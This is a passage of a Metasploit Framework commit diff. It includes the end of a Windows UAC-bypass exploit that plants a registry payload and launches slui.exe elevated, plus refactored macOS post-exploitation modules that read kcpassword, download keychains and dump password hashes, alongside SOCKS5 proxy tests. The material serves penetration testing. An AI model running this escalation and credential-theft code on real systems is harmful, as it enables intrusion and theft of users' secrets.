registry_setvaldata(SLUI_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
|
||||
|
||||
# Calling slui.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
|
||||
cmd_path = expand_path(commspec)
|
||||
cmd_args = expand_path("Start-Process #{SLUI_PATH} -Verb runas")
|
||||
print_status("Executing payload: #{cmd_path} #{cmd_args}")
|
||||
|
||||
# We can't use cmd_exec here because it blocks, waiting for a result.
|
||||
client.sys.process.execute(cmd_path, cmd_args, 'Hidden' => true)
|
||||
|
||||
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
|
||||
# TODO: fix this up to use something smarter than a timeout?
|
||||
sleep(3)
|
||||
|
||||
handler(client)
|
||||
|
||||
print_status("Cleaining ...")
|
||||
unless exist_delegate
|
||||
registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
|
||||
end
|
||||
if existing.empty?
|
||||
registry_deletekey(SLUI_DEL_KEY, registry_view)
|
||||
else
|
||||
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
|
||||
end
|
||||
registry_deleteval(SLUI_WRITE_KEY, payload_value, registry_view)
|
||||
end
|
||||
|
||||
def check_permissions!
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
end
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
# Check if you are an admin
|
||||
# is_in_admin_group can be nil, true, or false
|
||||
print_status('UAC is Enabled, checking level...')
|
||||
vprint_status('Checking admin status...')
|
||||
admin_group = is_in_admin_group?
|
||||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -74,6 +74,10 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
# Save enumerated data
|
||||
def save(msg, data, ctype="text/plain")
|
||||
if data.nil? || data.include?('not found') || data.include?('cannot access')
|
||||
print_bad("Unable to get data for #{msg}")
|
||||
return
|
||||
end
|
||||
ltype = "linux.enum.network"
|
||||
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
||||
print_good("#{msg} stored in #{loot.to_s}")
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::OSX::Priv
|
||||
|
||||
# extract/verify by by XORing your kcpassword with your password
|
||||
AUTOLOGIN_XOR_KEY = [0x7D, 0x89, 0x52, 0x23, 0xD2, 0xBC, 0xDD, 0xEA, 0xA3, 0xB9, 0x1F]
|
||||
|
@ -35,7 +36,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
def run
|
||||
# ensure the user is root (or can read the kcpassword)
|
||||
unless user == 'root'
|
||||
unless is_root?
|
||||
fail_with(Failure::NoAccess, "Root privileges are required to read kcpassword file")
|
||||
end
|
||||
|
||||
|
|
|
@ -7,6 +7,7 @@ require 'msf/core/auxiliary/report'
|
|||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::OSX::Priv
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -33,8 +34,7 @@ class MetasploitModule < Msf::Post
|
|||
host = cmd_exec("hostname")
|
||||
end
|
||||
print_status("Running module against #{host}")
|
||||
running_root = check_root
|
||||
if running_root
|
||||
if is_root?
|
||||
print_status("This session is running as root!")
|
||||
end
|
||||
|
||||
|
@ -102,12 +102,6 @@ class MetasploitModule < Msf::Post
|
|||
return logs
|
||||
end
|
||||
|
||||
# Checks if running as root on the target
|
||||
def check_root
|
||||
# Get only the account ID
|
||||
cmd_exec("/usr/bin/id", "-ru") == "0"
|
||||
end
|
||||
|
||||
# Checks if the target is OSX Server
|
||||
def check_server
|
||||
# Get the OS Name
|
||||
|
@ -204,7 +198,7 @@ class MetasploitModule < Msf::Post
|
|||
if session.type =~ /shell/
|
||||
|
||||
# Enumerate and retreave files according to privilege level
|
||||
if not check_root
|
||||
if not is_root?
|
||||
|
||||
# Enumerate the home folder content
|
||||
home_folder_list = cmd_exec("/bin/ls -ma ~/").split(", ")
|
||||
|
@ -285,7 +279,7 @@ class MetasploitModule < Msf::Post
|
|||
if ver_num =~ /10\.(7|6|5)/
|
||||
print_status("Capturing screenshot")
|
||||
picture_name = ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
if check_root
|
||||
if is_root?
|
||||
print_status("Capturing screenshot for each loginwindow process since privilege is root")
|
||||
if session.type =~ /shell/
|
||||
loginwindow_pids = cmd_exec("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n")
|
||||
|
@ -373,7 +367,7 @@ class MetasploitModule < Msf::Post
|
|||
next if u.chomp =~ /Shared|\.localized/
|
||||
users << u.chomp
|
||||
end
|
||||
if check_root
|
||||
if is_root?
|
||||
users.each do |u|
|
||||
print_status("Enumerating and Downloading keychains for #{u}")
|
||||
keychain_files = cmd_exec("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n")
|
||||
|
|
|
@ -11,6 +11,7 @@ class MetasploitModule < Msf::Post
|
|||
OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::OSX::Priv
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -38,7 +39,9 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
fail_with(Failure::BadConfig, "Insufficient Privileges: must be running as root to dump the hashes") unless root?
|
||||
unless is_root?
|
||||
fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')
|
||||
end
|
||||
|
||||
# iterate over all users
|
||||
users.each do |user|
|
||||
|
@ -189,12 +192,6 @@ class MetasploitModule < Msf::Post
|
|||
print_status("Credential saved in database.")
|
||||
end
|
||||
|
||||
# Checks if running as root on the target
|
||||
# @return [Bool] current user is root
|
||||
def root?
|
||||
whoami == 'root'
|
||||
end
|
||||
|
||||
# @return [String] containing blob for ShadowHashData in user's plist
|
||||
# @return [nil] if shadow is invalid
|
||||
def grab_shadow_blob(user)
|
||||
|
@ -213,9 +210,4 @@ class MetasploitModule < Msf::Post
|
|||
def ver_num
|
||||
@version ||= cmd_exec("/usr/bin/sw_vers -productVersion").chomp
|
||||
end
|
||||
|
||||
# @return [String] name of current user
|
||||
def whoami
|
||||
@whoami ||= cmd_exec('/usr/bin/whoami').chomp
|
||||
end
|
||||
end
|
||||
|
|
|
@ -43,7 +43,7 @@ RSpec.describe Rex::Proto::Http::Client do
|
|||
|
||||
end
|
||||
|
||||
it "should respond to intialize" do
|
||||
it "should respond to initialize" do
|
||||
expect(cli).to be
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,92 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'rex/proto/proxy/socks5/packet'
|
||||
|
||||
RSpec.describe Rex::Proto::Proxy::Socks5::Packet do
|
||||
Socks5 = Rex::Proto::Proxy::Socks5
|
||||
|
||||
describe "#address" do
|
||||
it "should parse an IPv4 address" do
|
||||
packet = Socks5::Packet.read("\x05\x02\x00\x01\x7f\x00\x00\x01\x00\x00")
|
||||
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV4)
|
||||
expect(packet.address).to eq('127.0.0.1')
|
||||
end
|
||||
|
||||
it "should parse an IPv6 address" do
|
||||
packet = Socks5::Packet.read("\x05\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00")
|
||||
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV6)
|
||||
expect(packet.address).to eq('::1')
|
||||
end
|
||||
|
||||
it "should parse a domain name" do
|
||||
packet = Socks5::Packet.read("\x05\x02\x00\x03\x12www.metasploit.com\x00\x00")
|
||||
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_DOMAINNAME)
|
||||
expect(packet.address).to eq('www.metasploit.com')
|
||||
end
|
||||
end
|
||||
|
||||
describe "#address=" do
|
||||
it "should set an IPv4 address" do
|
||||
packet = Socks5::Packet.new
|
||||
packet.address = '127.0.0.1'
|
||||
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV4)
|
||||
expect(packet.address_array).to eq([0x7f, 0x00, 0x00, 0x01])
|
||||
end
|
||||
|
||||
it "should set an IPv6 address" do
|
||||
packet = Socks5::Packet.new
|
||||
packet.address = '::1'
|
||||
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV6)
|
||||
expect(packet.address_array).to eq([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01])
|
||||
end
|
||||
|
||||
it "should set a domain name" do
|
||||
packet = Socks5::Packet.new
|
||||
packet.address = 'www.metasploit.com'
|
||||
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_DOMAINNAME)
|
||||
expect(packet.address_array).to eq([0x77, 0x77, 0x77, 0x2e, 0x6d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x2e, 0x63, 0x6f, 0x6d])
|
||||
end
|
||||
end
|
||||
|
||||
describe "#command" do
|
||||
it "should parse a connect command" do
|
||||
packet = Socks5::Packet.read("\x05\x01\x00\x01\x7f\x00\x00\x01\x00\x00")
|
||||
expect(packet.command).to eq(Socks5::ServerClient::COMMAND_CONNECT)
|
||||
end
|
||||
|
||||
it "should parse a bind command" do
|
||||
packet = Socks5::Packet.read("\x05\x02\x00\x01\x7f\x00\x00\x01\x00\x00")
|
||||
expect(packet.command).to eq(Socks5::ServerClient::COMMAND_BIND)
|
||||
end
|
||||
|
||||
it "should parse a UDP associate command" do
|
||||
packet = Socks5::Packet.read("\x05\x03\x00\x01\x7f\x00\x00\x01\x00\x00")
|
||||
expect(packet.command).to eq(Socks5::ServerClient::COMMAND_UDP_ASSOCIATE)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#read" do
|
||||
it "should parse all fields" do
|
||||
packet = Socks5::Packet.read("\x05\x01\x00\x01\x7f\x00\x00\x01\x00\x50")
|
||||
expect(packet.version).to eq(Socks5::SOCKS_VERSION)
|
||||
expect(packet.command).to eq(Socks5::ServerClient::COMMAND_CONNECT)
|
||||
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV4)
|
||||
expect(packet.address).to eq('127.0.0.1')
|
||||
expect(packet.port).to eq(80)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_binary_s" do
|
||||
it "should pack the data to a binary string" do
|
||||
packet = Socks5::Packet.new
|
||||
expect(packet.to_binary_s).to eq("\x05\x00\x00\x00\x00\x00")
|
||||
end
|
||||
end
|
||||
|
||||
describe "#version" do
|
||||
it "should have the SOCKS5 version set by default" do
|
||||
packet = Socks5::Packet.new
|
||||
packet.version = Socks5::SOCKS_VERSION
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,17 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'rex/proto/proxy/socks5'
|
||||
|
||||
RSpec.describe Rex::Proto::Proxy::Socks5::Server do
|
||||
|
||||
subject(:server) do
|
||||
Rex::Proto::Proxy::Socks5::Server.new
|
||||
end
|
||||
|
||||
describe "#is_running?" do
|
||||
|
||||
it "should respond to #is_running?" do
|
||||
expect(server.is_running?).to eq(false)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue